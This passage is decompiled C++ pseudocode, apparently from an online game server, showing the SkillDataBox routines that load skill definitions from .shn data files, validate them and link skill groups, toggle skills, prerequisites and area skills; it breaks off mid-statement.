v1 = (BinaryData *)this; v2 = (void *)this->sdb_ValidArray; if ( v2 ) { v3 = (char *)v2 - 4; _eh_vector_destructor_iterator_( v2, 0x26Cu, *((_DWORD *)v2 - 1), (void (__thiscall *)(void *))SkillDataBox::SkillDataIndex::_SkillDataIndex); operator delete__(v3); } SkillDataBox::__unnamed::___unnamed(v1); } //----- (00554160) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ToggleSkill *const *_Val) { std::vector > *v4; // esi@1 ToggleSkill **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #593 **v16; // eax@25 ToggleSkill **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #593 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (ToggleSkill *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#593 **)(v20 - v23); v4->_Mylast = (ToggleSkill **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#593 ***)&v21, v25, (#593 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#593 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (ToggleSkill **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#593 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (ToggleSkill **)((char *)_Newvec + _Counta); v4->_Mylast = (ToggleSkill **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (ToggleSkill **)_Newvec; } } } //----- (00554340) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::GetSkillIndexByName(SkillDataBox *this, const char *pkName) { SkillDataBox *v2; // esi@1 unsigned int v3; // eax@1 SkillDataBox::SkillDataIndex *result; // eax@2 v2 = this; v3 = BTree::operator__(&skillnametree, pkName); if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::GetSkillIndexByName : Invalid Skill", pkName); result = 0; } else { result = SkillDataBox::operator__(v2, v3); } return result; } //----- (00554390) -------------------------------------------------------- void __thiscall SkillDataBox::sdb_Load(SkillDataBox *this, Name4 *world) { SkillDataBox *v2; // esi@1 unsigned int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@4 unsigned int v6; // edi@4 void *v7; // eax@6 unsigned int v8; // eax@8 void *v9; // eax@11 void *v10; // edi@12 int v11; // edi@13 void *v12; // eax@13 int v13; // ebp@14 int v14; // eax@14 unsigned int v15; // ebx@19 int v16; // edi@20 void *v17; // eax@22 char **v18; // ecx@24 SkillDataBox::SkillDataIndex *v19; // edx@24 int v20; // ebp@24 SkillDataBox::SkillDataIndex *v21; // eax@29 SkillHitType v22; // ecx@29 int v23; // eax@29 CDataReader::HEAD *v24; // edx@37 bool v25; // zf@37 unsigned int v26; // edi@38 void *v27; // ebp@40 void *v28; // eax@43 unsigned __int16 v29; // ax@45 unsigned int v30; // ebx@50 int v31; // edi@51 int v32; // ebp@53 bool v33; // cf@55 char v34; // al@58 int v35; // ebp@58 int v36; // eax@59 char v37; // cl@63 void *v38; // eax@65 SkillDataBox::SkillDataIndex *v39; // edx@67 ActiveSkillInfo *v40; // ecx@67 ActiveSkillInfoServer *v41; // edx@67 void *v42; // eax@71 unsigned int v43; // ebp@73 void *v44; // eax@76 unsigned int v45; // ebp@79 int v46; // edi@80 unsigned int v47; // ebx@82 int v48; // ebp@84 unsigned int v49; // eax@86 SkillDataBox::SkillDataIndex *v50; // eax@88 ActiveSkillGroup **v51; // edi@89 int v52; // ecx@89 int v53; // edx@90 ActiveSkillGroup **v54; // eax@94 unsigned int v55; // ebx@97 int v56; // ebp@99 unsigned int v57; // eax@101 SkillDataBox::SkillDataIndex *v58; // eax@103 ToggleSkill **v59; // edi@104 int v60; // ecx@104 int v61; // edx@105 ToggleSkill **v62; // eax@109 int v63; // ebx@112 int v64; // edi@113 SkillDataBox::SkillDataIndex *v65; // edx@117 ActiveSkillInfo *v66; // eax@117 int v67; // ecx@117 const char *v68; // eax@117 unsigned int v69; // eax@119 SkillDataBox::SkillDataIndex *v70; // eax@122 SkillDataBox::SkillDataIndex *v71; // ebp@122 int v72; // eax@122 unsigned int v73; // eax@127 unsigned int v74; // eax@130 unsigned int v75; // eax@133 unsigned int v76; // eax@136 unsigned int v77; // eax@139 unsigned int v78; // eax@142 unsigned int v79; // eax@145 unsigned int v80; // eax@148 unsigned __int16 v81; // di@148 CDataReader::HEAD *v82; // edx@151 unsigned int v83; // eax@151 void *v84; // ebp@156 unsigned int v85; // eax@161 int v86; // ebx@162 int v87; // eax@163 int v88; // edi@163 unsigned int v89; // ecx@164 const char *v90; // ebx@166 unsigned int v91; // ebp@166 int v92; // eax@167 int v93; // eax@168 unsigned int v94; // ecx@170 unsigned int v95; // ebp@178 int v96; // edi@179 ActiveSkillInfo *v97; // ecx@180 int v98; // eax@180 char v99; // dl@181 int v100; // eax@182 unsigned int v101; // ebx@186 unsigned int v102; // edx@187 int v103; // eax@187 int v104; // ebx@193 unsigned int v105; // edi@193 void *v106; // ebp@193 void *v107; // eax@194 unsigned int v108; // eax@195 int v109; // edi@197 int v110; // eax@197 int v111; // ecx@198 int v112; // ebx@198 char v113; // dl@199 int v114; // ecx@201 int v115; // edx@201 char v116; // al@202 int v117; // eax@204 int v118; // edx@204 char v119; // cl@205 int v120; // eax@206 int v121; // ebx@209 unsigned int v122; // edi@209 unsigned int v123; // ebp@212 int v124; // edi@213 ActiveSkillInfo *v125; // ecx@214 int v126; // eax@214 char v127; // dl@215 int v128; // eax@216 int v129; // eax@218 unsigned int v130; // eax@220 signed int v131; // ebx@222 SkillDataBox::SkillDataIndex *v132; // edx@223 int v133; // ecx@223 int v134; // edi@223 int v135; // eax@223 char v136; // dl@224 int v137; // eax@225 int v138; // eax@226 unsigned int v139; // eax@229 unsigned int v140; // ecx@230 SkillDataBox::SkillDataIndex *v141; // edx@232 int v142; // ecx@232 int v143; // ebx@232 int v144; // eax@233 char v145; // dl@234 int v146; // eax@235 int v147; // eax@236 signed int v148; // ebp@238 unsigned int v149; // edi@238 int v150; // ebx@239 int v151; // ecx@239 SkillDataBox::SkillDataIndex *v152; // ecx@243 unsigned int v153; // eax@243 int v154; // ecx@243 signed int v155; // ebp@247 unsigned int v156; // edi@247 int v157; // ecx@248 SkillDataBox::SkillDataIndex *v158; // ecx@252 unsigned int v159; // eax@252 int v160; // ecx@252 signed int v161; // ebp@256 unsigned int v162; // edi@256 int v163; // ecx@257 SkillDataBox::SkillDataIndex *v164; // ecx@261 unsigned int v165; // eax@261 int v166; // ecx@261 signed int v167; // ebp@265 unsigned int v168; // edi@265 int v169; // ecx@266 SkillDataBox::SkillDataIndex *v170; // ecx@270 unsigned int v171; // eax@270 int v172; // ecx@270 int j; // [sp+10h] [bp-824h]@1 char ChecknTX; // [sp+17h] [bp-81Dh]@233 void *nAreaSkillNum; // [sp+18h] [bp-81Ch]@1 unsigned int i; // [sp+1Ch] [bp-818h]@55 int v177; // [sp+20h] [bp-814h]@60 char Msg[256]; // [sp+24h] [bp-810h]@184 char string; // [sp+124h] [bp-710h]@245 char v180; // [sp+224h] [bp-610h]@259 char v181; // [sp+324h] [bp-510h]@263 char v182; // [sp+424h] [bp-410h]@254 char v183; // [sp+524h] [bp-310h]@268 char v184; // [sp+624h] [bp-210h]@250 char v185; // [sp+724h] [bp-110h]@272 unsigned int v186; // [sp+824h] [bp-10h]@1 int v187; // [sp+830h] [bp-4h]@13 v186 = (unsigned int)&j ^ __security_cookie; v2 = this; BinaryDataBox::bdb_ReadData(&this->sdb_BinData.info, "../9Data/Hero/ActiveSkill.shn"); BinaryDataBox::bdb_ReadData( &v2->sdb_BinData.server.baseclass_0, "../9Data/Hero/ActiveSkillInfoServer.shn"); BinaryDataBox::bdb_ReadData(&v2->sdb_BinData.SkillGroup, "../9Data/Hero/ActiveSkillGroup.shn"); BinaryDataBox::bdb_ReadData(&v2->sdb_BinData.ToggleInfo, "../9Data/Hero/ToggleSkill.shn"); BinaryDataBox::bdb_ReadData(&v2->sdb_BinData.area_skill, "../9Data/Hero/AreaSkill.shn"); v3 = v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = v2->sdb_MaxSkillHandle; v2->sdb_MaxValid = v3; nAreaSkillNum = (void *)(v3 > 0); if ( v3 <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : Error in record number", v4); ShineExit("SkillDataBox::sdb_Load"); } v5 = v2->sdb_MaxValid; v6 = 0; v2->sdb_MaxSkillHandle = 0; if ( v5 ) { do { if ( v6 < v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0, v6); else v7 = &v2->sdb_BinData.server.baseclass_0.bdb_defaultblock; v8 = *(_WORD *)v7; if ( v2->sdb_MaxSkillHandle < v8 ) v2->sdb_MaxSkillHandle = v8; ++v6; } while ( v6 < v2->sdb_MaxValid ); } v9 = (void *)v2->sdb_ValidArray; ++v2->sdb_MaxSkillHandle; if ( v9 ) { v10 = (char *)v9 - 4; _eh_vector_destructor_iterator_( v9, 0x26Cu, *((_DWORD *)v9 - 1), (void (__thiscall *)(void *))SkillDataBox::SkillDataIndex::_SkillDataIndex); operator delete__(v10); v2->sdb_ValidArray = 0; } v11 = v2->sdb_MaxValid; v12 = operator new__(620 * v2->sdb_MaxValid + 4); nAreaSkillNum = v12; v187 = 0; if ( v12 ) { v13 = (int)((char *)v12 + 4); *(_DWORD *)v12 = v11; _eh_vector_constructor_iterator_( (char *)v12 + 4, 0x26Cu, v11, (void (__thiscall *)(void *))SkillDataBox::SkillDataIndex::SkillDataIndex, (void (__thiscall *)(void *))SkillDataBox::SkillDataIndex::_SkillDataIndex); v14 = v13; } else { v14 = 0; } v2->sdb_ValidArray = (SkillDataBox::SkillDataIndex *)v14; v187 = -1; if ( v14 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : Memory leak", 0); ShineExit("SkillDataBox::sdb_Load"); } v2->sdb_ActivSkillNum = v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v15 = 0; if ( v2->sdb_MaxValid ) { v16 = 0; do { if ( v15 < v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0, v15); else v17 = &v2->sdb_BinData.server.baseclass_0.bdb_defaultblock; v2->sdb_ValidArray[v16].sdi_ServInf = (ActiveSkillInfoServer *)v17; v18 = 0; v2->sdb_ValidArray[v16].sdi_Activ = 0; v19 = v2->sdb_ValidArray; v20 = (int)&v19[v16].sdi_ActiveSkillGroups; if ( v19[v16].sdi_ActiveSkillGroups._Myfirst ) { operator delete(v19[v16].sdi_ActiveSkillGroups._Myfirst); v18 = 0; } *(_DWORD *)(v20 + 4) = v18; *(_DWORD *)(v20 + 8) = v18; *(_DWORD *)(v20 + 12) = v18; v2->sdb_ValidArray[v16].sdi_Area.bIsAreaSkill = 0; v2->sdb_ValidArray[v16].sdi_Area.AreaBMP = v18; v2->sdb_ValidArray[v16].sdi_NextSkill = (SkillDataBox::SkillDataIndex *)v18; v2->sdb_ValidArray[v16].sdi_PrevSkill = (SkillDataBox::SkillDataIndex *)v18; if ( (char **)(v2->sdb_ValidArray[v16].sdi_ServInf != (ActiveSkillInfoServer *)v18) == v18 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : No server data", 0); ShineExit("SkillDataBox::sdb_Load"); } v21 = v2->sdb_ValidArray; v22 = v21[v16].sdi_ServInf->SkillHitType; v23 = (int)&v21[v16]; switch ( v22 ) { case 0: *(_DWORD *)(v23 + 164) = &roe_physical; break; case 1: *(_DWORD *)(v23 + 164) = &roe_magical; break; case 2: case 5: *(_DWORD *)(v23 + 164) = &roe_always; break; case 3: case 4: *(_DWORD *)(v23 + 164) = &roe_cure; break; default: AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load", 0); ShineExit("SkillDataBox::sdb_Load"); return; } ++v15; ++v16; } while ( v15 < v2->sdb_MaxValid ); } v24 = v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead; v25 = v2->sdb_ActivSkillNum != v24->nNumOfRecord; nAreaSkillNum = (void *)(v2->sdb_ActivSkillNum == v24->nNumOfRecord); if ( v25 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : Number mismatch", 0); v26 = 0; if ( v2->sdb_MaxValid ) { do { if ( v26 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v27 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v26); else v27 = &v2->sdb_BinData.info.bdb_defaultblock; if ( v26 < v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v28 = CDataReader::GetRecord(&v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0, v26); else v28 = &v2->sdb_BinData.server.baseclass_0.bdb_defaultblock; v29 = *(_WORD *)v28; if ( *(_WORD *)v27 != v29 ) { AssertClass::ac_AssertFail(&shineassert, "Error in", *(_WORD *)v27, v29); ShineExit("SkillDataBox::sdb_Load"); } ++v26; } while ( v26 < v2->sdb_MaxValid ); } ShineExit("SkillDataBox::sdb_Load"); } v30 = 0; if ( v2->sdb_MaxValid ) { v31 = 0; do { if ( v30 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v32 = (int)CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v30); else v32 = (int)&v2->sdb_BinData.info.bdb_defaultblock; v33 = v30 < v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; i = v32; if ( v33 ) j = (int)CDataReader::GetRecord(&v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0, v30); else j = (int)&v2->sdb_BinData.server.baseclass_0.bdb_defaultblock; v34 = *(_BYTE *)(v32 + 2); v35 = v32 + 2; if ( v34 ) { v36 = j - i; nAreaSkillNum = (void *)(j - i); do { v25 = *(_BYTE *)v35 != *(_BYTE *)(v36 + v35); v177 = *(_BYTE *)v35 == *(_BYTE *)(v36 + v35); if ( v25 ) { AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::sdb_Load : Index not match", *(_WORD *)i, *(_WORD *)j); ShineExit("SkillDataBox::sdb_Load"); } v37 = *(_BYTE *)(v35++ + 1); } while ( v37 ); } if ( v30 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v38 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v30); else v38 = &v2->sdb_BinData.info.bdb_defaultblock; v2->sdb_ValidArray[v31].sdi_Activ = (ActiveSkillInfo *)v38; v39 = v2->sdb_ValidArray; v40 = v39[v31].sdi_Activ; v41 = v39[v31].sdi_ServInf; v25 = v40->ID != v41->ID; v177 = v40->ID == v41->ID; if ( v25 ) { AssertClass::ac_AssertFail(&shineassert, "SkillID Unsync", 0); ShineExit("SkillDataBox::sdb_Load"); } if ( v30 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v42 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v30); else v42 = &v2->sdb_BinData.info.bdb_defaultblock; v43 = 10 * *((_DWORD *)v42 + 44) / 0x64u; if ( (signed int)v43 < 50 ) v43 = 50; if ( v30 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v44 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v30); else v44 = &v2->sdb_BinData.info.bdb_defaultblock; v2->sdb_ValidArray[v31].sdi_AttackDist = v43 + *((_DWORD *)v44 + 44); SkillDataBox::SkillDataIndex::sdi_Clear(&v2->sdb_ValidArray[v31]); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v31], v2->sdb_ValidArray[v31].sdi_Activ->SpecialIndexA, v2->sdb_ValidArray[v31].sdi_Activ->SpecialValueA); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v31], v2->sdb_ValidArray[v31].sdi_Activ->SpecialIndexB, v2->sdb_ValidArray[v31].sdi_Activ->SpecialValueB); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v31], v2->sdb_ValidArray[v31].sdi_Activ->SpecialIndexC, v2->sdb_ValidArray[v31].sdi_Activ->SpecialValueC); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v31], v2->sdb_ValidArray[v31].sdi_Activ->SpecialIndexD, v2->sdb_ValidArray[v31].sdi_Activ->SpecialValueD); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v31], v2->sdb_ValidArray[v31].sdi_Activ->SpecialIndexE, v2->sdb_ValidArray[v31].sdi_Activ->SpecialValueE); ++v30; ++v31; } while ( v30 < v2->sdb_MaxValid ); } v45 = 0; if ( v2->sdb_MaxValid ) { v46 = 0; do { SkillDataBox::SkillDataIndex::sdi_SetAbstate( &v2->sdb_ValidArray[v46], 0, v2->sdb_ValidArray[v46].sdi_Activ->StaNameA, v2->sdb_ValidArray[v46].sdi_Activ->StaStrengthA, v2->sdb_ValidArray[v46].sdi_Activ->StaSucRateA); SkillDataBox::SkillDataIndex::sdi_SetAbstate( &v2->sdb_ValidArray[v46], 1, v2->sdb_ValidArray[v46].sdi_Activ->StaNameB, v2->sdb_ValidArray[v46].sdi_Activ->StaStrengthB, v2->sdb_ValidArray[v46].sdi_Activ->StaSucRateB); SkillDataBox::SkillDataIndex::sdi_SetAbstate( &v2->sdb_ValidArray[v46], 2, v2->sdb_ValidArray[v46].sdi_Activ->StaNameC, v2->sdb_ValidArray[v46].sdi_Activ->StaStrengthC, v2->sdb_ValidArray[v46].sdi_Activ->StaSucRateC); SkillDataBox::SkillDataIndex::sdi_SetAbstate( &v2->sdb_ValidArray[v46], 3, v2->sdb_ValidArray[v46].sdi_Activ->StaNameD, v2->sdb_ValidArray[v46].sdi_Activ->StaStrengthD, v2->sdb_ValidArray[v46].sdi_Activ->StaSucRateD); skillbtreeunion = v2->sdb_ValidArray[v46].sdi_ServInf->ID; *((_BYTE *)&skillbtreeunion + 2) = 0; BTree::bt_Insert(&skillnametree, v2->sdb_ValidArray[v46].sdi_ServInf->InxName, *(unsigned int *)&skillbtreeunion); ++v45; ++v46; } while ( v45 < v2->sdb_MaxValid ); } qsort(&v2->sdb_ValidArray->sdi_ServInf, v2->sdb_MaxValid, 0x26Cu, SkillDataBox::sdb_compare); v47 = 0; nAreaSkillNum = (void *)v2->sdb_BinData.SkillGroup.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; if ( nAreaSkillNum ) { do { if ( v47 < v2->sdb_BinData.SkillGroup.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v48 = (int)CDataReader::GetRecord(&v2->sdb_BinData.SkillGroup.baseclass_0.baseclass_0, v47); else v48 = (int)&v2->sdb_BinData.SkillGroup.bdb_defaultblock; j = v48; v49 = BTree::operator__(&skillnametree, (const char *)v48); if ( v49 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::GetSkillIndexByName : Invalid Skill", (const char *)v48); } else { v50 = SkillDataBox::operator__(v2, v49); if ( v50 ) { v51 = v50->sdi_ActiveSkillGroups._Myfirst; v52 = (int)&v50->sdi_ActiveSkillGroups; if ( v51 ) v53 = v50->sdi_ActiveSkillGroups._Mylast - v51; else v53 = 0; if ( v51 && v53 < v50->sdi_ActiveSkillGroups._Myend - v51 ) { v54 = v50->sdi_ActiveSkillGroups._Mylast; *v54 = (ActiveSkillGroup *)v48; *(_DWORD *)(v52 + 8) = v54 + 1; } else { std::vector>::_Insert_n( (std::vector > *)&v50->sdi_ActiveSkillGroups, (std::vector >::iterator)v50->sdi_ActiveSkillGroups._Mylast, 1u, (ToggleSkill *const *)&j); } } } ++v47; } while ( v47 < (unsigned int)nAreaSkillNum ); } v55 = 0; nAreaSkillNum = (void *)v2->sdb_BinData.ToggleInfo.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; if ( nAreaSkillNum ) { do { if ( v55 < v2->sdb_BinData.ToggleInfo.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v56 = (int)CDataReader::GetRecord(&v2->sdb_BinData.ToggleInfo.baseclass_0.baseclass_0, v55); else v56 = (int)&v2->sdb_BinData.ToggleInfo.bdb_defaultblock; j = v56; v57 = BTree::operator__(&skillnametree, (const char *)v56); if ( v57 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::GetSkillIndexByName : Invalid Skill", (const char *)v56); } else { v58 = SkillDataBox::operator__(v2, v57); if ( v58 ) { v59 = v58->sdi_ToggleData._Myfirst; v60 = (int)&v58->sdi_ToggleData; if ( v59 ) v61 = v58->sdi_ToggleData._Mylast - v59; else v61 = 0; if ( v59 && v61 < v58->sdi_ToggleData._Myend - v59 ) { v62 = v58->sdi_ToggleData._Mylast; *v62 = (ToggleSkill *)v56; *(_DWORD *)(v60 + 8) = v62 + 1; } else { std::vector>::_Insert_n( &v58->sdi_ToggleData, (std::vector >::iterator)v58->sdi_ToggleData._Mylast, 1u, (ToggleSkill *const *)&j); } } } ++v55; } while ( v55 < (unsigned int)nAreaSkillNum ); } v63 = 0; if ( v2->sdb_MaxValid ) { v64 = 0; do { if ( !v2->sdb_ValidArray[v64].sdi_Activ ) { AssertClass::ac_AssertFail(&shineassert, "Null skll", v63); ShineExit("SkillDataBox::sdb_Load"); } v65 = v2->sdb_ValidArray; v66 = v65[v64].sdi_Activ; v67 = (int)&v65[v64]; LOBYTE(v65) = v66->DemandSk[0]; v68 = v66->DemandSk; if ( (_BYTE)v65 == 45 ) { *(_DWORD *)(v67 + 108) = 0; } else { v69 = BTree::operator__(&skillnametree, v68); if ( v69 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::sdb_Load : Invalid Prestep", v2->sdb_ValidArray[v64].sdi_Activ->DemandSk); ShineExit("SkillDataBox::sdb_Load"); } v2->sdb_ValidArray[v64].sdi_PrevSkill = SkillDataBox::operator__(v2, v69); v70 = v2->sdb_ValidArray; v71 = v70[v64].sdi_PrevSkill; v72 = (int)&v70[v64]; if ( !v71 ) { AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::sdb_Load : Invalid Prestep", (const char *)(*(_DWORD *)(v72 + 4) + 114)); ShineExit("SkillDataBox::sdb_Load"); } v2->sdb_ValidArray[v64].sdi_PrevSkill->sdi_NextSkill = &v2->sdb_ValidArray[v64]; } ++v63; ++v64; } while ( v63 < v2->sdb_MaxValid ); } v73 = BTree::operator__(&skillnametree, "ProducePotion"); if ( v73 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProducePotion"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_PortionProductMain = v73; v74 = BTree::operator__(&skillnametree, "ProduceScroll"); if ( v74 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProduceScroll"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_ScrollProductMain = v74; v75 = BTree::operator__(&skillnametree, "ProduceSton"); if ( v75 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProduceSton"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_StoneProductMain = v75; v76 = BTree::operator__(&skillnametree, "ProduceResolve"); if ( v76 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProduceResolve"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_ResolveProductMain = v76; v77 = BTree::operator__(&skillnametree, "ProduceCompound"); if ( v77 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProduceCompound"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_CompoundProductMain = v77; v78 = BTree::operator__(&skillnametree, "Cooking"); if ( v78 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "Cooking"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_CookingMain = v78; v79 = BTree::operator__(&skillnametree, "Camping"); if ( v79 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "Camping"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_CampingMain = v79; v80 = BTree::operator__(&skillnametree, "SummonMate01"); v81 = v80; if ( v80 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "SummonMate01"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v82 = v2->sdb_BinData.area_skill.baseclass_0.baseclass_0.m_pHead; v83 = v2->sdb_MaxValid; v2->sdb_SpecSkill.ss_SummonMate = v81; nAreaSkillNum = (void *)v82->nNumOfRecord; if ( (unsigned int)nAreaSkillNum > v83 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : too many area_skill num", (int)nAreaSkillNum); ShineExit("SkillDataBox::sdb_Load"); } i = 0; if ( nAreaSkillNum ) { do { if ( i < v2->sdb_BinData.area_skill.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v84 = CDataReader::GetRecord(&v2->sdb_BinData.area_skill.baseclass_0.baseclass_0, i); else v84 = &v2->sdb_BinData.area_skill.bdb_defaultblock; if ( !v84 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : undefined error - data get error", 0); ShineExit("SkillDataBox::sdb_Load"); } v85 = v2->sdb_MaxValid; j = 0; if ( v85 ) { v86 = 0; while ( 1 ) { v87 = (int)&v2->sdb_ValidArray[v86]; v88 = v87 + 40; if ( !_mbsncmp((const char *)v84, (const char *)(*(_DWORD *)(v87 + 4) + 2), 0x20u) ) break; v89 = v2->sdb_MaxValid; ++v86; ++j; if ( j >= v89 ) goto LABEL_177; } v90 = (char *)v84 + 32; _mbsnbcpy((char *)(v88 + 1), (const char *)v84 + 32, 0x20u); *(_BYTE *)v88 = 1; *(_DWORD *)(v88 + 36) = *((_DWORD *)v84 + 16); *(_BYTE *)(v88 + 40) = *((_BYTE *)v84 + 68); v91 = 0; if ( v2->sdb_MaxValid ) { v92 = 0; j = 0; while ( 1 ) { v93 = (int)((char *)v2->sdb_ValidArray + v92); if ( *(_BYTE *)(v93 + 40) == 1 ) { if ( !_mbsncmp(v90, (const char *)(v93 + 41), 0x20u) ) break; } v94 = v2->sdb_MaxValid; ++v91; v92 = 